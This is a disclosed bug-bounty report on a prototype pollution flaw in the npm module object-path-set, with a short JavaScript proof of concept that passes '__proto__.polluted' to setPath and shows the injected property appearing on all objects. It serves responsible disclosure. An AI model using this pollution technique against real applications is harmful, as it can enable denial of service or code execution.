[object-path-set] Prototype pollution

Disclosed: 2020-08-20 09:08:31 By d3lla To nodejs-ecosystem
High
Vulnerability Details
I would like to report a `prototype pollution` vulnerability in `object-path-set` module. It allows an attacker to inject properties on Object.prototype. # Module **module name:** `object-path-set` **version:** `1.0.0` **npm page:** `https://www.npmjs.com/package/object-path-set` ## Module Description set values in javascript objects by specifying a path. if the path doesn't exist yet, it will be created. ## Module Stats [81] weekly downloads # Vulnerability ## Vulnerability Description The `setPath` function can be used to add/modify properties of the Object prototype. These properties will be present on all objects. ## Steps To Reproduce: - install `object-path-set` module: - `npm i object-path-set` Set the `__proto__.polluted` property of an object: ```javascript const setPath = require('object-path-set'); const obj = {}; console.log("Before : " + obj.polluted); setPath({}, '__proto__.polluted', 'yes'); console.log("After : " + obj.polluted); ``` Output: ```console Before : undefined After : yes ``` {F835049} ## Supporting Material/References: - OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS - NODEJS VERSION: v14.1.0 - NPM VERSION: 6.14.5 # Wrap up - I contacted the maintainer to let them know: [N] - I opened an issue in the related repository: [N] Thank you for your time. best regards, d3lla ## Impact The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution, Property Injection.
Actions
View on HackerOne
Report Stats
  • Report ID: 878332
  • State: Closed
  • Substate: resolved
Share this report